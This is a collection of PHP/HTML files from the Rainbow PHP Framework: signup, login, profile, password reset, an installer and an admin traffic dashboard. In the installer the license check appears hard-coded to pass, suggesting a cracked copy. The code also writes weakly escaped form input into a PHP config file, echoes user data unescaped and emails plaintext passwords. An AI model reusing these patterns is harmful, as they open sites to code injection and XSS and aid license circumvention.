Twitter',$lang['RF61']); ?>"><?php trans('Twitter',$lang['RF64']); ?></a> </div> <?php } ?> <div class="info"><?php trans('Sign up with your email address',$lang['RF71']); ?></div> <div class="form-group"> <label><?php trans('Username',$lang['RF66']); ?> <br /> <input type="text" name="username" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Email',$lang['RF73']); ?> <br /> <input type="text" name="email" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Full Name',$lang['RF72']); ?> <br /> <input type="text" name="full" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Password',$lang['RF67']); ?> <br /> <input type="<PASSWORD>" name="password" class="form-input width96" /> </label> </div> </div> <div class="modal-footer"> <button type="submit" class="btn btn-primary"><?php trans('Sign Up',$lang['RF70']); ?></button> </div> <input type="hidden" name="signup" value="<?php echo md5($date.$ip); ?>" /> <input type="hidden" name="quick" value="<?php echo md5(randomPassword()); ?>" /> </form> </div> </div> </div> <!-- XD Box --> <div class="modal fade loginme" id="xdBox" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button id="xdClose" type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button> <h4 class="modal-title" id="xdTitle"></h4> </div> <div class="modal-body" id="xdContent"> </div> </div> </div> </div> <?php if(isset($footerAddArr)){ foreach($footerAddArr as $footerCodes) echo $footerCodes; } ?> </body> </html><file_sep><?php /* * @author Balaji */ error_reporting(1); //ROOT Path define('ROOT_DIR', realpath(dirname(dirname(dirname(__FILE__)))) .DIRECTORY_SEPARATOR); //Application Path define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); //Configuration Path define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Installer Path define('INSTALL_DIR', ROOT_DIR .'admin'.DIRECTORY_SEPARATOR.'install'.DIRECTORY_SEPARATOR); $data_host = htmlspecialchars(Trim($_POST['data_host'])); $data_name = htmlspecialchars(Trim($_POST['data_name'])); $data_user = htmlspecialchars(Trim($_POST['data_user'])); $data_pass = htmlspecialchars(Trim($_POST['data_pass'])); $data_sec = htmlspecialchars(Trim($_POST['data_sec'])); $domain = urlencode($_POST['data_domain']); $con = mysqli_connect($data_host,$data_user,$data_pass,$data_name); if (mysqli_connect_errno()){ echo "Database Connection failed"; die(); } // Don't crack license checker. It will crash whole site and handle incorrectly! // If you want to request new purchase code for "localhost" installation and for "development" site (or) // Reset the old code for your new domain name than contact support! // For Support, mail to us: rainbowbalajib [at] gmail.com $sucRate = '1'; $authCode = ''; if ($sucRate == '1') { //Fine }elseif ($sucRate == '0') { echo 'Item purchase code not valid'; die(); }elseif ($sucRate == '2') { echo 'Already code used on another domain! Contact Support'; die(); }elseif ($sucRate == '') { echo 'Unable Connect to Server!'; die(); }else { echo 'Item purchase code not valid / banned'; die(); } if($authCode == '') $authCode = Md5($domain); $domain = str_replace(array('http://','https://','www.'), '', urldecode($domain)); if(substr($domain, -1) != '/') $domain = $domain.'/'; $data = '<?php defined(\'ROOT_DIR\') or die(header(\'HTTP/1.1 403 Forbidden\')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ // --- Database Settings --- // Database Hostname $dbHost = \''.$data_host.'\'; // Database Username $dbUser = \''.$data_user.'\'; // Database Password $dbPass = \''.$data_pass.'\'; // Database Name $dbName = \''.$data_name.'\'; //Base URL (Without http:// & https://) $baseURL = \''.$domain.'\'; //Item Purchase Code $item_purchase_code = \''.$data_sec.'\'; //Domain Security Code $authCode = \''.$authCode.'\'; '; file_put_contents(CONFIG_DIR.'db.config.php',$data); echo '1'; die();<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.1 403 Forbidden')); /* * @author Balaji * @name Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ ?> <link href="<?php themeLink('css/bootstrap-formhelpers.min.css'); ?>" rel="stylesheet" type="text/css" /> <div class="container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 top40 profile"> <br /> <?php if(isset($msg)) echo $msg.'<br>'; ?> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#profile"><?php trans('Profile',$lang['RF110']); ?></a></li> <li><a data-toggle="tab" href="#info"><?php trans('Update Information',$lang['RF111']); ?></a></li> <li><a data-toggle="tab" href="#password"><?php trans('Change Password',$lang['RF112']); ?></a></li> </ul> <div class="tab-content"> <br /><br /> <div id="profile" class="tab-pane fade in active"> <div class="row" style="margin: 5px;"> <div class="col-md-4 thumbnail" style="padding: 20px;"> <div class="text-center"> <img class="userLogo" width="180" height="180" alt="<?php trans('User Logo',$lang['RF113']); ?>" src="<?php echo $userLogo; ?>" /> </div> </div> <div class="col-md-8"> <table class="table table-hover table-bordered"> <tbody> <tr> <td style="width: 200px;"><?php trans('Full Name',$lang['RF72']); ?></td> <td><span><?php echo $userInfo['full_name']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Username',$lang['RF32']); ?></td> <td><span><?php echo $username; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Email ID',$lang['RF114']); ?></td> <td><span><?php echo $userInfo['email_id']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Registered At',$lang['RF115']); ?></td> <td><span><?php echo $userInfo['added_date']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('User Country',$lang['RF116']); ?></td> <td><span><?php echo $userCountry; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Membership',$lang['RF117']); ?></td> <td><span><?php trans('Free',$lang['RF118']); ?></span></td> </tr> </tbody> </table> </div> <?php if($addInfo) { ?> <div class="clear" style="margin-bottom: 10px;"></div> <div class="row" style="margin: 5px;"> <h4 style="font-weight: 500;"><?php trans('Personal Information:',$lang['RF119']); ?></h4> <table class="table table-hover table-bordered"> <tbody> <tr> <td style="width: 30%;"><?php trans('First Name',$lang['RF120']); ?></td> <td><span><?php echo $userInfo['firstname']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Last Name',$lang['RF121']); ?></td> <td><span><?php echo $userInfo['lastname']; ?></span></td> </tr> <?php if($company != '') { ?> <tr> <td style="width: 200px;"><?php trans('Company',$lang['RF122']); ?></td> <td><span><?php echo $userInfo['company']; ?></span></td> </tr> <?php } ?> <tr> <td style="width: 200px;"><?php trans('Address Line 1',$lang['RF123']); ?></td> <td><span><?php echo $userInfo['address1']; ?></span></td> </tr> <?php if($address2 != '') { ?> <tr> <td style="width: 200px;"><?php trans('Address Line 2',$lang['RF124']); ?></td> <td><span><?php echo $userInfo['address2']; ?></span></td> </tr> <?php } ?> <tr> <td style="width: 200px;"><?php trans('City',$lang['RF125']); ?></td> <td><span><?php echo $userInfo['city']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('State',$lang['RF126']); ?></td> <td><span><?php echo $userInfo['statestr']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Country',$lang['RF127']); ?></td> <td><span><?php echo ucfirst(country_code_to_country($userInfo['country'])); ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Post Code',$lang['RF128']); ?></td> <td><span><?php echo $userInfo['postcode']; ?></span></td> </tr> <tr> <td style="width: 200px;"><?php trans('Telephone',$lang['RF129']); ?></td> <td><span><?php echo $userInfo['telephone']; ?></span></td> </tr> </tbody> </table> </div> <?php } ?> </div> </div> <div id="info" class="tab-pane fade"> <div class="row"> <form onsubmit="return addressCheck()" name="userBox" method="POST" action="#" enctype="multipart/form-data"> <div class="col-md-12"> <h4 style="margin-bottom: 15px; font-weight: 500;"><?php trans('General Information:',$lang['RF130']); ?></h4> <div class="form-group"> <?php trans('Full Name',$lang['RF72']); ?> <br /> <input value="<?php echo $userInfo['full_name']; ?>" placeholder="<?php trans('Enter your full name',$lang['RF149']); ?>" type="text" name="fullname" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Username',$lang['RF32']); ?> <br /> <input disabled="" value="<?php echo $username; ?>" placeholder="<?php trans('Enter your user name',$lang['RF150']); ?>" type="text" name="username" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Email ID',$lang['RF114']); ?> <br /> <input disabled="" value="<?php echo $userInfo['email_id']; ?>" placeholder="<?php trans('Enter your email id',$lang['RF151']); ?>" type="text" name="email" class="form-control" style="width: 96%;"/> </div> <br /> <h4 style="margin-bottom: 15px; font-weight: 500;"><?php trans('Avatar:',$lang['RF131']); ?></h4> <img class="userLogoBox" id="userLogoBox" width="180" height="180" alt="<?php trans('User Logo',$lang['RF113']); ?>" src="<?php echo $userLogo; ?>" /> <br /> <?php trans('Upload a new avatar: (JPEG 180x180px)',$lang['RF132']); ?> <input type="file" name="logoUpload" id="logoUpload" class="btn btn-default" /> <br /><br /> <h4 style="margin-bottom: 15px; font-weight: 500;"><?php trans('Personal Information:',$lang['RF119']); ?></h4> </div> <div class="col-md-6"> <div class="form-group"> <?php trans('First Name',$lang['RF120']); ?> <br /> <input value="<?php echo $userInfo['firstname']; ?>" placeholder="<?php trans('Enter your first name',$lang['RF148']); ?>" type="text" name="firstname" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Last Name',$lang['RF121']); ?> <br /> <input value="<?php echo $userInfo['lastname']; ?>" placeholder="<?php trans('Enter your last name',$lang['RF147']); ?>" type="text" name="lastname" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Company',$lang['RF122']); ?> <br /> <input value="<?php echo $userInfo['company']; ?>" placeholder="<?php trans('Enter your company name (optional)',$lang['RF146']); ?>" type="text" name="company" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Telephone',$lang['RF129']); ?> <br /> <input value="<?php echo $userInfo['telephone']; ?>" placeholder="<?php trans('Enter your phone no.',$lang['RF145']); ?>" type="text" name="telephone" class="form-control bfh-phone" data-country="country" style="width: 96%;" /> </div> <div class="form-group"> <?php trans('Country',$lang['RF127']); ?> <br /> <select id="country" name="country" class="form-control bfh-countries" data-country="<?php echo $userInfo['country'] != '' ? $userInfo['country'] : 'IN'; ?>" style="width: 96%;"></select> </div> </div><!-- /.col-md-6 --> <div class="col-md-6"> <div class="form-group"> <?php trans('Address 1',$lang['RF123']); ?> <br /> <input value="<?php echo $userInfo['address1']; ?>" placeholder="<?php trans('Enter your home address',$lang['RF144']); ?>" type="text" name="address1" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Address 2',$lang['RF124']); ?> <br /> <input value="<?php echo $userInfo['address2']; ?>" placeholder="<?php trans('Address line 2 (optional)',$lang['RF143']); ?>" type="text" name="address2" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('City',$lang['RF125']); ?> <br /> <input value="<?php echo $userInfo['city']; ?>" placeholder="<?php trans('Enter your city',$lang['RF142']); ?>" type="text" name="city" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Post Code',$lang['RF128']); ?> <br /> <input value="<?php echo $userInfo['postcode']; ?>" placeholder="<?php trans('Enter your postal code',$lang['RF141']); ?>" type="text" name="postcode" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Region / State',$lang['RF133']); ?> <br /> <?php $userInfo['state'] = ($userInfo['state'] != '' ? 'data-state="'.$userInfo['state'].'"' : ''); ?> <select name="state" class="form-control bfh-states" data-country="country" <?php echo $userInfo['state']; ?> style="width: 96%;"></select> </div> </div><!-- /.col-md-6 --> <div class="col-md-12 text-center"> <br /> <input type="submit" value="Submit" class="btn btn-success" /> <input type="hidden" name="statestr" value="1" /> <input type="hidden" name="user" value="1" /> <br /> </div> </form> </div> </div> <div id="password" class="tab-pane fade"> <div class="row"> <div class="col-md-12"> <form name="passwordBox" method="POST" action="#" onsubmit="return passCheck()"> <?php if(isset($_SESSION[N_APP.'AdminToken'])){ ?> <div class="form-group"> <?php trans('Current Password',$lang['RF134']); ?> <b>(Administrator not required to enter current password!)</b> <br /> <input disabled value="<PASSWORD>" placeholder="<?php trans('Enter your current password',$lang['RF140']); ?>" type="password" name="old_pass" class="form-control" style="width: 96%;"/> </div> <?php } else { ?> <div class="form-group"> <?php trans('Current Password',$lang['RF134']); ?> <br /> <input placeholder="<?php trans('Enter your current password',$lang['RF140']); ?>" type="password" name="old_pass" class="form-control" style="width: 96%;"/> </div> <?php } ?> <div class="form-group"> <?php trans('New Password',$lang['RF135']); ?> <br /> <input placeholder="<?php trans('Enter your new password',$lang['RF139']); ?>" type="password" name="new_pass" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> <?php trans('Retype Password',$lang['RF136']); ?> <br /> <input placeholder="<?php trans('Retype your new password',$lang['RF138']); ?>" type="password" name="retype_pass" class="form-control" style="width: 96%;"/> </div> <br /> <input type="submit" value="<?php trans('Change Password',$lang['RF137']); ?>" class="btn btn-danger" /> <input type="hidden" name="password" value="1" /> </form> </div> </div> </div> </div> <br /> <div class="xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /> <script src="<?php themeLink('js/bootstrap-formhelpers.min.js'); ?>" type="text/javascript"></script> <script src="<?php themeLink('js/profile.js'); ?>" type="text/javascript"></script><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ //Page Title $pageTitle = $lang['RF35']; $des = $keyword = ''; if(!$enable_reg){ header("Location: ". createLink('',true)); exit(); } //Load Mail Settings extract(loadMailSettings($con)); //Load Image Verifcation extract(loadCapthca($con)); //Date $sDate = date('m/d/Y'); $register_page = filBoolean($register_page); $login_page = filBoolean($login_page); $reset_pass_page = filBoolean($reset_pass_page); $resend_act_page = filBoolean($resend_act_page); if($register_page || $login_page || $reset_pass_page || $resend_act_page){ $quick_login_check = true; if($quick_login && isset($_POST['quick'])) { $quick_login_check = quickLoginCheck($con,$ip); if($quick_login_check) $login_page = $register_page = false; } $cap_type = strtolower($cap_type); $customCapPath = PLG_DIR.'captcha'.DIRECTORY_SEPARATOR.$cap_type.'_cap.php'; define('CAP_VERIFY',1); define('CAP_GEN',1); } //Check already login if(isset($_SESSION[N_APP.'UserToken'])) { header('Location: '. createLink('',true)); echo '<meta http-equiv="refresh" content="1;url='.createLink('',true).'">'; $success = trans('You are already logged in',$lang['RF36']); } //Resend activation if ($pointOut == 'resend') { $pageTitle = $lang['RF79']; if (isset($_POST['email'])) { //Verify image verification. if ($resend_act_page) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ $email = escapeTrim($con,$_POST['email']); $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE email_id=?",'s',array($email)); if($row !== false){ //Username found $username = $row['username']; $db_email_id = Trim($row['email_id']); $db_full_name = $row['full_name']; $db_platform = $row['platform']; $db_password = Trim($row['password']); $db_verified = $row['verified']; $db_picture = $row['picture']; $db_date = $row['added_date']; $db_ip = $row['ip']; $db_id = $row['id']; if ($db_verified == '0') { $arrData = getMailTemplates($con,'account_activation'); $arrData['subject'] = base64_decode($arrData['subject']); $arrData['body'] = base64_decode($arrData['body']); $verify_url = $baseURL . "verify/$username/".Md5(HASH_CODE . $db_email_id . HASH_CODE); $replacementCode = array( '{SiteName}' => $site_name, '{FullName}' => ucfirst($db_full_name), '{UserName}' => $username, '{VerificationUrl}' => $verify_url, '{UserEmailId}' => $db_email_id, '{CustomerIp}' => $db_ip ); $subject = html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['subject'])))); $body = html_entity_decode(html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['body']))))); if ($protocol == '1'){ if(default_mail ($adminEmail,$site_name,$adminEmail,$site_name,$db_email_id,$subject,$body)) $success = $lang['RF37']; //Activation link successfully sent to your mail id else $error = $lang['RF28']; //Failed to send your message }else{ if(smtp_mail($smtp_host,$smtp_port,isSelected($smtp_auth),$smtp_username,$smtp_password,$smtp_socket,$adminEmail,$site_name,$adminEmail,$site_name,$db_email_id,$subject,$body)) $success = $lang['RF37']; //Activation link successfully sent to your mail id else $error = $lang['RF28']; //Failed to send your message } }else{ $error = $lang['RF38']; //Email ID already verified! } } else{ $error = $lang['RF39']; //Email ID not found! } } } } //Forget Password if ($pointOut == 'forget') { $pageTitle = $lang['RF78']; if (isset($_POST['email'])) { //Verify image verification. if ($reset_pass_page) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ $email = escapeTrim($con,$_POST['email']); $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE email_id=?",'s',array($email)); if($row !== false){ //Username found $username = $row['username']; $db_email_id = $row['email_id']; $db_full_name = $row['full_name']; $db_platform = $row['platform']; $db_password = Trim($row['<PASSWORD>']); $db_verified = $row['verified']; $db_picture = $row['picture']; $db_date = $row['added_date']; $db_ip = $row['ip']; $db_id = $row['id']; $new_pass = md5(uniqid(rand(), true)); $new_pass_md5 = passwordHash($new_pass); if(updateToDbPrepared($con, 'users', array('password' => $new_<PASSWORD>), array('username' => $username))) { $error = $lang['RF40']; //Database Error! Contact Support! } else { $success = $lang['RF41']; //New password sent to your mail $arrData = getMailTemplates($con,'password_reset'); $arrData['subject'] = base64_decode($arrData['subject']); $arrData['body'] = base64_decode($arrData['body']); $replacementCode = array( '{SiteName}' => $site_name, '{FullName}' => ucfirst($db_full_name), '{UserName}' => $username, '{NewPassword}' => <PASSWORD>, '{UserEmailId}' => $db_email_id, '{CustomerIp}' => $db_ip ); $subject = html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['subject'])))); $body = html_entity_decode(html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['body']))))); if ($protocol == '1') default_mail ($adminEmail,$site_name,$adminEmail,$site_name,$db_email_id,$subject,$body); else smtp_mail($smtp_host,$smtp_port,isSelected($smtp_auth),$smtp_username,$smtp_password,$smtp_socket,$adminEmail,$site_name,$adminEmail,$site_name,$db_email_id,$subject,$body); } } else { $error = $lang['RF39']; //Email ID not found! } } } } //Register Page if($pointOut == 'register'){ $pageTitle = $lang['RF77']; } //Login Page if($pointOut == 'login'){ $pageTitle = $lang['RF76']; if(isset($args[0])){ if($args[0] == 'verification-success') $success = $lang['RF93']; } } if ($_SERVER['REQUEST_METHOD'] == 'POST') { //Already login if(isset($_SESSION[N_APP.'UserToken'])){ header('Location: ' . createLink('',true)); echo '<meta http-equiv="refresh" content="1;url='.createLink('',true).'">'; $success = $lang['RF42']; //You are already logged in }else{ //Login Process if (isset($_POST['signin'])) { $username = escapeTrim($con,$_POST['username']); $password = passwordHash(raino_trim($_POST['password'])); if ($username != null && $password!= null) { //Verify image verification. if ($login_page) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($row !== false){ //Username found $db_oauth_uid = $row['oauth_uid']; $db_email_id = $row['email_id']; $db_full_name = $row['full_name']; $db_platform = $row['platform']; $db_password = Trim($row['password']); $db_verified = $row['verified']; $db_picture = $row['picture']; $db_date = $row['added_date']; $db_ip = $row['ip']; $db_id = $row['id']; if ($password == $db_password) { if ($db_verified == "1"){ // Login Success $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $_SESSION[N_APP.'Token'] = Md5($db_id.$username); $_SESSION[N_APP.'Oauth_uid'] = $db_oauth_uid; $_SESSION[N_APP.'Username'] = $username; $success = $lang['RF43']; //Login Successful.. }elseif ($db_verified == "2") { //Account Banned $error = $lang['RF44']; //Oh, no your account was banned! Contact Support.. } else { //Account not verified $error = $lang['RF45']; //Oh, no account not verified } } else{ //Password wrong $error = $lang['RF46']; //Oh, no password is wrong } } else { //Username not found $error = $lang['RF48']; //Username not found } } } else { $error = $lang['RF47']; //All fields must be filled out! } } //Register process if (isset($_POST['signup'])) { $username = escapeTrim($con,$_POST['username']); $password = passwordHash(raino_trim($_POST['password'])); $email = escapeTrim($con,$_POST['email']); $full_name = escapeTrim($con,$_POST['full']); if ($username != null && $password!= null && $full_name!=null && $email!= null) { //Verify image verification. if ($register_page) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ if(isValidEmail($email)){ if (isValidUsername($username)) { $result = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($result !== false){ $error = $lang['RF49']; //Username already taken } else { $result = mysqliPreparedQuery($con, "SELECT * FROM users WHERE email_id=?",'s',array($email)); if($result !== false){ $error = $lang['RF50']; //Email ID already registered } else { $result = mysqliPreparedQuery($con, "SELECT * FROM users WHERE date=? AND ip=?",'ss',array($sDate,$ip)); if($result !== false){ $error = $lang['RF51']; //It looks like your IP has already been used to register an account today! } else{ $nowDate = date('m/d/Y h:i:sA'); $res = insertToDbPrepared($con, 'users', array( 'oauth_uid' => '0', 'username' => $username, 'email_id' => $email, 'full_name' => $full_name, 'platform' => 'Direct', 'password' => <PASSWORD>, 'verified' => '0', 'picture' => 'NONE', 'date' => $sDate, 'added_date' => $nowDate, 'ip' => $ip )); if ($res) $error = $lang['RF40']; else { $arrData = getMailTemplates($con,'account_activation'); $arrData['subject'] = base64_decode($arrData['subject']); $arrData['body'] = base64_decode($arrData['body']); $verify_url = $baseURL . "verify/$username/".Md5(HASH_CODE . $email . HASH_CODE); $replacementCode = array( '{SiteName}' => $site_name, '{FullName}' => ucfirst($full_name), '{UserName}' => $username, '{VerificationUrl}' => $verify_url, '{UserEmailId}' => $email, '{CustomerIp}' => $ip ); $subject = html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['subject'])))); $body = html_entity_decode(html_entity_decode(shortCodeFilter(stripslashes(str_replace(array_keys($replacementCode),array_values($replacementCode),$arrData['body']))))); $success = $lang['RF54']; //Your account was successfully registered. An activation link successfully sent to your mail id! if ($protocol == '1') default_mail ($adminEmail,$site_name,$adminEmail,$site_name,$email,$subject,$body); else smtp_mail($smtp_host,$smtp_port,isSelected($smtp_auth),$smtp_username,$smtp_password,$smtp_socket,$adminEmail,$site_name,$adminEmail,$site_name,$email,$subject,$body); } } } } }else{ $error = $lang['RF52']; //"Username not valid! Username can't contain special characters.."; } } else { $error = $lang['RF53']; //"Email ID not valid!"; } } }else { $error = $lang['RF47']; //"All fields must be filled out!"; } } } } if($pointOut == 'login' || $pointOut == 'register'){ if($quick_login && isset($_POST['quick'])) { if(isset($error)){ if($quick_login_check){ quickLoginDisable($con,$ip); $register_page = $login_page = true; } } if($pointOut == 'register'){ quickLoginDisable($con,$ip); $register_page = $login_page = true; } } } //Generate Image Verification if($register_page || $login_page || $reset_pass_page || $resend_act_page) require LIB_DIR.'generate-verification.php'; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <style> @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="row"> <div class="col-md-12"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-line-chart"></i> <h3 class="box-title"> Hourly Traffic </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="chart tab-pane active" id="pageviews-chart" style="position: relative; height: 300px;"></div> </div><!-- /.box-body --> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-file-o"></i> <h3 class="box-title"> Pages </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table id="platform" class="table table-striped table-bordered"> <thead> <th>Link</th> <th>Pageviews</th> <th>Percentage</th> </thead> <tbody> <?php echo $table4; ?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-globe"></i> <h3 class="box-title"> Countries </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table id="countries" class="table table-striped table-bordered"> <thead> <th>Country</th> <th>Sessions</th> <th>Percentage</th> </thead> <tbody> <?php echo $table1; ?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> <div class="col-md-6"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-list-alt"></i> <h3 class="box-title"> Browsers </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table id="browsers" class="table table-striped table-bordered"> <thead> <th>Browser</th> <th>Sessions</th> <th>Percentage</th> </thead> <tbody> <?php echo $table2; ?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-desktop"></i> <h3 class="box-title"> Operating Systems </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table id="platform" class="table table-striped table-bordered"> <thead> <th>Platform</th> <th>Sessions</th> <th>Percentage</th> </thead> <tbody> <?php echo $table3; ?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> <div class="col-md-6"> <div class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-list-alt"></i> <h3 class="box-title"> Referer </h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table id="referer" class="table table-striped table-bordered"> <thead> <th>Referral</th> <th>Sessions</th> <th>Percentage</th> </thead> <tbody> <?php echo $table5; ?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script type="text/javascript"> $(function () { $('#countries').DataTable({ "paging": true, "pagingType":"full", "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false, "pageLength": 6 }); $('#browsers').DataTable({ "paging": true, "pagingType":"full", "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false, "pageLength": 6 }); $('#platform').DataTable({ "paging": true, "pagingType":"full", "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false, "pageLength": 6 }); $('#referer').DataTable({ "paging": true, "pagingType":"full", "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false, "pageLength": 6 }); }); </script> EOD; $chartData = " data: [ {y: '12AM - 2AM', item1: ".$valRes[0][0]['unique'].", item2: ".$valRes[0][0]['views']."}, {y: '2AM - 4AM', item1: ".$valRes[0][2]['unique'].", item2: ".$valRes[0][2]['views']."}, {y: '4AM - 6AM', item1: ".$valRes[0][4]['unique'].", item2: ".$valRes[0][4]['views']."}, {y: '6AM - 8AM', item1: ".$valRes[0][6]['unique'].", item2: ".$valRes[0][6]['views']."}, {y: '8AM - 10AM', item1: ".$valRes[0][8]['unique'].", item2: ".$valRes[0][8]['views']."}, {y: '10AM - 12PM', item1: ".$valRes[0][10]['unique'].", item2: ".$valRes[0][10]['views']."}, {y: '12PM - 2PM', item1: ".$valRes[0][12]['unique'].", item2: ".$valRes[0][12]['views']."}, {y: '2PM - 4PM', item1: ".$valRes[0][14]['unique'].", item2: ".$valRes[0][14]['views']."}, {y: '4PM - 6PM', item1: 